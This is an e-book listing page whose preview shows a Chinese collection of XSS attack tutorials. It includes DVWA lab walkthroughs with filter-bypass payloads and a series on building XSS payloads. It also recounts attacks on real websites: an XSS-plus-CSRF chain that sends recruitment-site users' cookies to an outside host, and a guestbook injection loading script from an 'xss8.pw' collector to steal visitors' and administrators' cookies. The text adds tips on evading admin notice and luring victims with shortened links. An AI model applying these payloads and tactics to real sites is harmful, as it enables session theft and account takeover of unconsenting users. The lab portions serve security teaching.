Statistics
11
Views
0
Downloads
0
Donations
Support
Share
Uploader

高宏飞

Shared on 2026-03-27

Authorit-ebooks

No description

Tags
No tags
Publisher: it-ebooks
Publish Year: 2018
Language: 中文
File Format: PDF
File Size: 5.4 MB
Support Statistics
¥.00 · 0times
Text Preview (First 20 pages)
Registered users can read the full content for free

Register as a Gaohf Library member to read the complete e-book online for free and enjoy a better reading experience.

(This page has no text content)
01 基础知识 新手指南:DVWA-1.9 全级别教程(完结篇,附实例)之 XSS 03 XSS的原理分析与解剖 11 XSS 的原理分析与解剖(第二篇) 16 XSS 的原理分析与解剖:第三章(技巧篇) 22 XSS 的原理分析与解剖:第四章(编码与绕过) 26 XSS通关小游戏以及我的挑战思路分享 29 WEB安全系列之如何挖掘XSS漏洞 32 XSS绕过之前端绕过 35 实战进阶 某学习直播平台的 xss 绕过 38 总结了下自己的 XSS 绕过思路和心得 41
02 记一次XSS盲打到套信息鱼站网站后台 43 利用 XSS平台打造傻瓜式获取GPS定位和 CSRF自提交模板 46 XSS 攻击另类玩法 49 淫荡思路之【拥有 XSS 攻击却有 HttpOnly】搞定后台 52 小白流---通过 xss配合钓鱼获取到管理权限 56 [W3bSafe] 土豆某站 xss 新手教学 60 [W3bsafe] 新型插入 xss 方式(实战某购物网站)! 62 XSS 钓鱼某网站任意用户密码 64 编写自己的 xss payload 69 xss 跨站攻击脚步合集 75 实战xss挖掘实例和防御 78 另外要提的一点是,不同语言编写的 web 应用其实都有相似性,当你熟练了解一门语言的 代码审计过程后其实便可以进一步扩展到别的语言。你会发现基本原理是相似的,当然不同 还是存在的,比如其中的 addslashes 和 null 的文章便是如此,它是 php 这门语言独有的问题, 其他还有的一些差异在这里不细说明。 XSS高级渗透技巧以及课程 攻破黑市之拿下吃鸡 DNF 等游戏钓鱼站群 87 四、相关阅读
03 基础知识 新手指南:DVWA-1.9 全级别教程(完结篇,附实例)之 XSS 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本, 且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。 DVWA 简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用, 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应 用安全防范的过程。 DVWA 共有十个模块,分别是 Brute Force(暴力(破解)) Command Injection(命令行注入) CSRF(跨站请求伪造) File Inclusion(文件包含) File Upload(文件上传) Insecure CAPTCHA (不安全的验证码) SQL Injection(SQL 注入) SQL Injection(Blind)(SQL 盲注) XSS(Reflected)(反射型跨站脚本) XSS(Stored)(存储型跨站脚本) 需要注意的是,DVWA 1.9 的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通 过比较四种级别的代码,接触到一些 PHP 代码审计的内容。 XSS,全称 Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页 面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是, XSS 不仅仅限于 JavaScript,还包括 flash 等其它脚本语言。根据恶意代码是否存储在服务器中,XSS 可以分为存储型的 XSS 与反射型的 XSS。 DOM 型的 XSS 由于其特殊性,常常被分为第三种,这是一种基于 DOM 树的 XSS。例如服务器端经常使用 document.boby.innerHtml 等函数动态生成 html 页面,如果这些函数在引用某些变量时没有进行过滤 或检查,就会产生 DOM 型的 XSS。DOM 型 XSS 可能是存储型,也有可能是反射型。 (注:下面的实验都是在 Firefox 浏览器下进行的,感谢火狐没做 XSS filter) 反射型 XSS 下面对四种级别的代码进行分析。 Low 服务器端核心代码 可以看到,代码直接引用了 name 参数,并没有任何的过滤与检查,存在明显的 XSS 漏洞。 漏洞利用
04 输入 <script>alert(/xss/)</script>,成功弹框: 相应的 XSS 链接: http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(/ xss/)%3C%2Fscript%3E# Medium 服务器端核心代码 可以看到,这里对输入进行了过滤,基于黑名单的思想,使用 str_replace 函数将输入中的 <script> 删除,这种防护机制是可以被轻松绕过的。 漏洞利用 1. 双写绕过 输入 <sc<script>ript>alert(/xss/)</script>,成功弹框: 相应的 XSS 链接: http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28% 2Fxss%2F%29%3C%2Fscript%3E# 2. 大小写混淆绕过 输入 <ScRipt>alert(/xss/)</script>,成功弹框: 相应的 XSS 链接: http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert(%2Fxss%2F)%3C%2 Fscript%3E# High 服务器端核心代码
05 可以看到,High 级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和 替换,这使得双写绕过、大小写混淆绕过(正则表达式中 i表示不区分大小写)不再有效。 漏洞利用 虽然无法使用 <script> 标签注入 XSS 代码,但是可以通过 img、body 等标签的事件或者 iframe 等标 签的 src 注入恶意的 js 代码。 输入 <img src=1 onerror=alert(/xss/)>,成功弹框: 相应的 XSS 链接: http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28 %2Fxss%2F%29%3E# Impossible 服务器端核心代码 可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、 >转换为 HTML 实体,防止浏览器将其作为 HTML 元素。 存储型 XSS 下面对四种级别的代码进行分析。 Low 服务器端核心代码 相关函数介绍 trim(string,charlist) 函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r 以及空格, 可选参数 charlist 支持添加额外需要删除的字符。 mysql_real_escape_string(string,connection) 函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。 stripslashes(string) 函数删除字符串中的反斜杠。 可以看到,对输入并没有做 XSS 方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型 XSS 漏洞。 漏洞利用 message 一栏输入 <script>alert(/xss/)</script>,成功弹框:
06 name 一栏前端有字数限制,抓包改为 <script>alert(/name/)</script>: 成功弹框: Medium 服务器端核心代码 相关函数说明 strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b> 标签。 addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。 可以看到,由于对 message 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参 数注入 XSS 代码,但是对于 name 参数,只是简单过滤了 <script> 字符串,仍然存在存储型的 XSS。 漏洞利用 1. 双写绕过 抓包改 name 参数为 <sc<script>ript>alert(/xss/)</script>:
07 成功弹框: 2. 大小写混淆绕过 抓包改 name 参数为 <Script>alert(/xss/)</script>: 成功弹框: High
08 服务器端核心代码 可以看到,这里使用正则表达式过滤了 <script> 标签,但是却忽略了 img、iframe 等其它危险的标签, 因此 name 参数依旧存在存储型 XSS。 High 抓包改 name 参数为 <img src=1 onerror=alert(1)>: 成功弹框: Impossible 服务器端核心代码 可以看到,通过使用 htmlspecialchars 函数,解决了 XSS,但是要注意的是,如果 htmlspecialchars 函数使用不当,攻击者就可以通过编码的方式绕过函数进行 XSS 注入,尤其是 DOM 型的 XSS。 最后附赠最近遇到的一个实例:一次有趣的 XSS+CSRF 组合拳 0×01 前言 最近执着于渗透各种 xx 人才网,前两天在某网站上发现了一个极其鸡肋的 XSS 漏洞,本来以为没有太 大的利用价值,没想到结合 CSRF 攻击,却获得了意想不到的效果。 0×02 一个鸡肋的 XSS 漏洞 下面是某个招聘网站的用户个人资料界面:
09 用户可以在这里修改自己的基本资料并保 存,经过 XSS 测试,这里的输入都过滤了 成对的尖括号(< >)、script、img、& 等 字符,但是似乎遗漏了事件,于是尝试使 用 input 标签的 onchange 事件注入 XSS 代 码。 在通讯地址一栏输入” onchange=alert(2) “并保存,刷新页面,右键查看源码,注 入成功: 只要尝试在通讯地址一栏中输入新的内容, 就会触发 XSS,弹框: 是的,成功触发 XSS 代码了,可是这个鸡 肋的 XSS 漏洞有什么卵用呢?首先,这个 XSS 漏洞依赖事件触发,只有用户在修改个 人资料时恶意代码才有可能执行,其次这 是一个存储型的 XSS 漏洞,你不可能要求 用户按照攻击者的意思,事先在自己的个 人资料里键入 XSS 代码并保存吧。 0×03 CSRF 带来的曙光 在修改个人资料的过程中,抓包发现这个修改接口并没有任何的防 CSRF 机制,存在明显的 CSRF 漏洞: 这给鸡肋的 XSS 漏洞带来了曙光,于是想到了可以结合 CSRF 攻击实现用户 cookie 的大面积盗取。攻 击思路如下: 1. 构造一个 CSRF 攻击页面,诱使用户访问(在这种招聘网站,发布一个包含恶意页面的虚假招聘很容 易做到) 2. 用户访问页面后,个人基本资料会被清空,同时注入 XSS 代码 3. 用户尝试补全个人资料,触发 XSS 代码,自动发送 cookie 0×04 攻击演示 下面是构造的 CSRF 攻击页面: 调皮地把 cookie 发(这里调皮地把 cookie 发给百度 = =) 下面是本地的攻击过程演示:
10 1. 受害者进入攻击页面,会看到“你的基本资料被我清空了”的提示: 还会看到资料修改成功的提示,并跳转: 2. 这时候受害者会发现自己的个人资料被清空了: 却不知道已经被注入了 XSS 代码: 3.当用户尝试修改通讯地址一栏时,就会触发XSS代码,自动发送 cookie(其中包含用户 id、用户名、 密码哈希值、session-id) : 这样,大规模盗取用户 cookie 的攻击也就完成了。
11 0×01 前言 : 《xss 攻击手法》一开始在互联网上资料并不多 ( 都是现成的代码,没有从基础的开始 ),直到道哥的 《白帽子讲 web 安全》和 cn4rry 的《XSS 跨站脚本攻击剖析与防御》才开始好转。 我这里就不说什么 xss 的历史什么东西了,xss 是一门又热门又不太受重视的 Web 攻击手法,为什么会 这样呢,原因有下: 1、耗时间 2、有一定几率不成功 3、没有相应的软件来完成自动化攻击 4、前期需要基本的 html、js 功底,后期需要扎实的 html、js、actionscript2/3.0 等语言的功底 5、是一种被动的攻击手法 6、对 website 有 http-only、crossdomian.xml 没有用但是这些并没有影响黑客对此漏洞的偏爱,原 因不需要多,只需要一个 Xss 几乎每个网站都存在,google、baidu、360 等都存在。 0×02 原理 : 首先我们现在本地搭建个 PHP 环境 ( 可以使用 phpstudy 安装包安装 ),然后在 index.php 文件里写入 如下代码 : 然后,你会在页面看到这样的页面 我们试着输入 abcd123,得到的结果为 我们在看看源代码 我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入 <script>alert('xss')</script> 会出现什么呢?如果按照上面的例子来说,它应该存在第 12 行的 <br> 与 </boby> 之间,变成 <br><script>alert('xss')</script></boby>,那应该会弹出对话框。 既然假设提出来,那我们来实现下这个假设成不成立吧。 XSS 的原理分析与解剖
12 我们输入 <script>alert('xss')</script>,得到的页面为 成功弹窗,这个时候基本上就可以确定存在 xss 漏洞。 我们在看看源代码 看来,我们的假设成功了,这节就说说 XSS 的原理,下面几节说说 xss 的构造和利用 0×03 xss 利用输出的环境来构造代码 : 上节说了 xss的原理,但是我们的输出点不一在 <br> 和 </boby> 里,可以出现在 html 标签的属性里, 或者其他标签里面。所以这节很重要,因为不一定 当你输入 <script>alert('xss')</script> 就会弹窗。 先贴出代码 : 下面是代码的页面 这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入 1,那么第二个 input 里 的 value 值就是 1,下面是页面的截图和源代码的截图 ( 这里我输入 <script>alert('xss')</script> 来测试 )
13 明显的可以看到,并没有弹出对话框,大家可能会疑惑为 什么没有弹窗呢,我们来看看源代码 我们看到我们输入的字符串被输出到第 15 行 input 标签里 的 value 属性里面,被当成 value 里的值来显现出来,所 以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发 现了可以在 <script>alert('xss')</script> 前面加个 "> 来闭合 input 标签。所以应该得到的结果为 成功弹窗了,我们在看看这时的页面 看到后面有第二个 input 输入框后面跟有 "> 字符串,为什么会这样呢,我们来看看源代码
14 这时可以看到我们构造的代码里面有两个 ">, 第一个 "> 是为了闭合 input 标签,所以第二个 "> 就被抛弃了,因为 html 的容错性高,所以并 没有像 php 那样出现错误,而是直接把多余的字 符串来输出了,有的人是个完美主义者,不喜欢 有多余的字符串被输出,这时该怎么办呢? 这里我问大家一个问题,我之前说的 xss 代码 里,为什么全是带有标签的。难道就不能不带标 签么?!答:当然可以。既然可以不用标签,那 我们就用标签里的属性来构造 XSS,这样的话, xss代码又少,又不会有多余的字符串被输出来。 还是这个环境,但是不能使用标签,你应该怎 么做。想想 input 里有什么属性可以调用 js, html学的好的人,应该知道了,on事件,对的。 我们可以用 on 事件来进行弹窗,比如这个 xss 代码 我们可以写成 "text-align:center"> 没有看到弹窗啊,失败了么?答案当然是错误的, 因为 onclick 是鼠标点击事件,也就是说当你的 鼠标点击第二个 input 输入框的时候,就会触发 onclick 事件,然后执行 alert('xss') 代码。 我们来试试看 当我点击后,就出现了弹窗,这时我们来看看源 代码把 第 15 行,value 值为空,当鼠标点击时,就会 弹出对话框。这里可能就会有人问了,如果要 点击才会触发,那不是很麻烦么,成功率不就 又下降了么。我来帮你解答这个问题,on 事件 不止 onclick 这一个,还有很多,如果你想不需 要用户完成什么动作就可以触发的话,i 可以把 onclick 改成 Onmousemove 当鼠标移动就触发 Onload 当页面加载完成后触发 还有很多,我这里就不一一说明了,有兴趣的朋 友可以自行查询下。 别以为就这样结束了,还有一类环境不能用上述 的方法, 那就是如果在 <textarea> 标签里呢?!或者其 他优先级比 script 高的呢? 就下面这样 这时我们该怎么办呢?既然前面都说了闭合 属性和闭合标签了,那能不能闭合完整的 标签呢,答案是肯定的。我们可以输入 </ textarea><script>alert('xss')</script> 就 可以实现弹窗了 0×04 过滤的解决办法 假如说网站禁止过滤了 script 这时该怎么办
15 呢,记住一句话,这是我总结出来的“xss 就是 在页面执行你想要的 js”不用管那么多,只要 能运行我们的 js 就 OK,比如用 img 标签或者 a 标签。我们可以这样写 <img scr=1 onerror=alert('xss')> 当找不到 图片名为 1 的文件时,执行 alert('xss')<a href=javascrip:alert('xss')>s</a> 点 击 s 时 运 行 alert('xss')<iframe src=javascript :alert('xss');height=0 width=0 /><iframe> 利 用 iframe 的 scr 来 弹 窗 <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\ x27\x78\x73\x73\x27\x29")></img> 过 滤 了 alert 来执行弹窗等等有很多的方法,不要把思 想总局限于一种上面,记住一句话“xss 就是在 页面执行你想要的 js”其他的管他去。( 当然有 的时候还有管他…) 0×05 xss 的利用 说了那么多,大家可能都以为 xss 就是弹窗,其 实错了,弹窗只是测试 xss 的存在性和使用性。 这时我们要插入 js 代码了,怎么插呢? 你可以这样 <script scr="js_url"></script> 也可以这样 <img src=x onerror=appendChild(createEleme nt('script')).src='js_url' /> 各种姿势,各 种插,只要鞥运行我们的 js 就 OK。那运行我们 的 js 有什么用呢? Js 可以干很多的事,可以获取 cookies( 对 http-only 没用 )、控制用户的动作 ( 发帖、私 信什么的 )等等。 比如我们在网站的留言区输入<script scr="js_ url"></script> 当管理员进后台浏览留言的时 候,就会触发,然后管理员的 cookies 和后台地 址还有管理员浏览器版本等等你都可以获取到 了,再用“桂林老兵 cookie 欺骗工具”来更改 你的 cookies,就可以不用输入账号 密码 验证 码 就可以以管理员的方式来进行登录了。 至于不会 js 的怎么写 js 代码呢,放心网上有很 多 xss 平台,百度一下就可以看到了。页面是傻 瓜式的操作,这里就不再过多的说明了。 有兴趣的朋友,下面是 cn4rry 给我的几个 xss 平台,大家可以自己钻研与研究,也可以自己搭 建 在发布此文章的时候,我特地和 cn4rry 谈了一 下,得到的结果是,我会继续写这个系列的。当 我把这个 doc 发给 cn4rry 的时候,他就直接来 句“嗯 写的比较基础”,我本来的打算是写一 个 xss 入门的就可以了,我只是感觉 现在网上 的文章从简单开始介绍 xss 的比较少,都是在书 里有 所以 我想在网上把他讲的细点 xss 入门就可以 了,后面的路 就可以自己摸索了 但是和他谈过后,感觉还是要继续写下去,因为 “xss 盲打”“xss 编码绕过”“fuzzing xss” 等等,如果是自己慢慢琢磨的话,需要较长的 时间,所以我打算每过一段时间就会推出下一个 xss 的文章,写个系列出来。
16 XSS 的原理分析与解剖(第二篇) 0×01 前言 : 上节已经说明了 xss 的原理及不同环境的构造方法。本期来说说 XSS 的分类及挖掘方法。 当第一期出来的时候,反馈很好,但还是有很多人提出疑问,我这里就解答下。 问 1:如果我输入 PHP 语句会不会执行。 答 1:不会,因为 XSS 是面对前台的 ( 用户可见部分 ),而 PHP 则是后台处理 ( 用户不可见部分 ),如 果可以执行 PHP 语句的话,那不叫 XSS,叫 "任意代码执行 "。 问 2:XSS 和 CSRF 有什么区别么? 答 2:有的,XSS 是获取信息,不需要提前知道其他用户页面的代码和数据包。CSRF 是代替用户完成指 定的动作,需要知道其他用户页面的代码和数据包。 问 3:为什么我在 chrome 浏览器下测试 <script>alert("xss")</script> 并没有成功。 答 3:chrome 内核与 ie 内核不一样,chrome 的过滤机制比 ie 强。现在测试 xss 一般都拿能过 chrome 的为主,所以当你输入 xss 的时候,可能被 chrome 的过滤机制给过滤了。 0×02 反射型 XSS: 反射 XSS 是 XSS 分类中最多的,他们原理是下面这样: Hacker——发现存在反射 XSS 的 URL——根据输出点的环境构造 XSS 代码——进行编码、缩短 (可有可 无,是为了增加迷惑性 )——发送给受害人——受害打开后,执行 XSS 代码——完成 hacker 想要的功 能 (获取 cookies、url、浏览器信息、IP 等等 ) 原理搞清楚,那就说说怎么挖掘吧, 现在市面上的软件 (JSky、Safe3WVS、Netsparker 等 ) 都可以挖掘出反射 XSS,但是想要那些更隐蔽的 XSS 还是需要手工的,我先使用软件挖掘一些反射 XSS,然后介绍手工挖掘。 找到后,我们来打开 http://gdjy.hfut.edu.cn/viewcomp.jsp?id=hzgz123 打开后,我们试着在参数也就是 id=hzgz123 后面加上 woaini( 或则其他字符,这串字符必须保持唯一 性,也就是说在整个网站里,他必须唯一一个不和其他字符相同的字符串 ) 输入 woaini 后,打开,查 看源代码 (ctrl+u),按下 ctrl+f 来搜索 woaini 字符串,看出现在哪个位置。
17 我们发现 woaini 字符在 a 标签的 href 属性里,那我们就可以根据这个环境来构造了,我们可以用 "></a><script>alert("xss")</script> 来先闭合掉 a标签。然后再用 script 来运行 js 代码。也可以 这样 onclick="alert(1)";>123</a>// 点击 123 触发 onclick 来运行 js,然后把后面的内容来注释掉。 构造好代码后,把url变成短连接,发送给管理员,诱惑管理员打开,就可以获取管理员的cookies了。 OK,软件挖 XSS 大致就这些,手工其实和这差不多,手工的话,记住一句话“见框就插、改数据包不 可见部分、改 URL 参数、js 分析”就可以了。改数据包、js 分析比较深,现在我就不再阐述了,见框 就插,大家应该都明白,找到一个 input 输入框,先输入唯一字符串,然后看源代码里有没有出现, 再输入 <>""/&() 来看看过滤了哪些字符,根据过滤的字符,来构造 xss。 下图是 QQ 空间一处反射 XSS,因为是朋友给的,我也不清楚是否被提交,所以我就不放出了。 0×03 储蓄型 XSS: PS:有的人叫持久型,各有各的叫法,所以不用太介意。 储蓄型 XSS 其实和反射型 XSS 差不多,只是储蓄型把数据保存到服务端,而反射型只是让 XSS 游走在 客户端上。下面是我在某处网站上检测到的储蓄 XSS,大家知道原理就 OK。 ( 因为,这个网站本人想提交,所以 URL 打码处理,见谅 ) 目标站点:http://www.*******.com/ 习惯性的打开留言处 (book.asp),点击留言 ( 这里最好不要使用 <script>alert("xss")</script> 来 测试是否存在 XSS 漏洞,容易被管理员发现,所以你可以使用 <a></a> 来测试,如果成功了,不会被 管理员发现 )OK,我先在留言里出输入 <a>s</a> 提交留言,F12 打开审查元素,来看我们输入的标签 是否被过滤了,
18 OK,发现没有过滤 (如果 <a>s</a> 是彩色的说明没有过滤,如果是灰色就说明过滤了 ) 那我就在 xss 平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/ EFe2Ga?1409273226"></script> 请问怎么报名啊” 名字是我乱起的,这样一来,只要你访问 http://www.******.com/book.asp 就可以获取你的 cookies,以及后台地址 (因为留言板一般都在后台做审核 )。但是,管理员好像死了, 已经 6天了,还没看。今天上 xss 平台一看有个 cookies,看了下,是路人的,并不是管理员的。 但是使用方法大家也应该懂了。只要你打开 http://www.******.com/book.asp 我就会在第一时间获取 你的 cookies。 0×04 DOM XSS: DOM XSS 是基于在 js 上的。而且他不需要与服务端进行交互,像反射、储蓄都需要服务端的反馈 来构造 xss,因为服务端对我们是不可见的 ( 不是太清楚的,可以看看 (http://www.freebuf.com/ articles/neopoints/41168.html 一文 ) 挖掘 DOM XSS 比较麻烦,因为有时你需要追源,对方可能会自定义函数,所以你需要一步一步来把对 方自定义的函数来搞清楚。下面我举个最简单的例子:
19 在 1.html 里输入 <script>document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL. length));</script> 在这里我先解释下上面的意思 Document.write 是把里面的内容写到页面里。 document.URL 是获取 URL 地址。 Substring 从某处到某处,把之间的内容获取。 document.URL.indexOf("a=")+2 是在当前 URL 里从开头检索 a= 字符,然后加 2( 因为 a= 是两个字符, 我们需要把他略去 ),同时他也是 substring 的开始值 document.URL.length 是获取当前 URL 的长度,同时也是 substring 的结束值。 合起来的意思就是:在 URL 获取 a= 后面的值,然后把 a= 后面的值给显示出来。 我们打开,看看 怎么会出现这个问题呢? 因为当前 url 并没有 a= 的字符,而 indexOf 的特性是,当获取的值里,如果没有找到自己要检索的 值的话,返回 -1。找到了则返回 0。那么 document.URL.indexOf("a=") 则为 -1,再加上 2,得 1。 然后一直到 URL 最后。这样一来,就把 file 的 f 字符给略去了,所以才会出现 ile:///C:/Users/ Administrator/Desktop/1.html 大致的原理都会了,我们继续。 我们可以在 1.html 后输入 ?a=123 或则 #a=123,只要不影响前面的路径,而且保证 a= 出现在 URL 就可 以了。 我们清楚的看到我们输入的字符被显示出来了。 那我们输入 <script>alert("xss")</script> 会怎么样呢? 答案肯定是弹窗。 但是,这里肯定有人无法弹窗,像下面这样。 这是因为浏览器不同,maxthon、firfox、chrome 则不行,他们会在你提交数据之前,对 url进行编码。 这不是说 DOM XSS 不行了,这只是个很简单的例子,所以不用在意。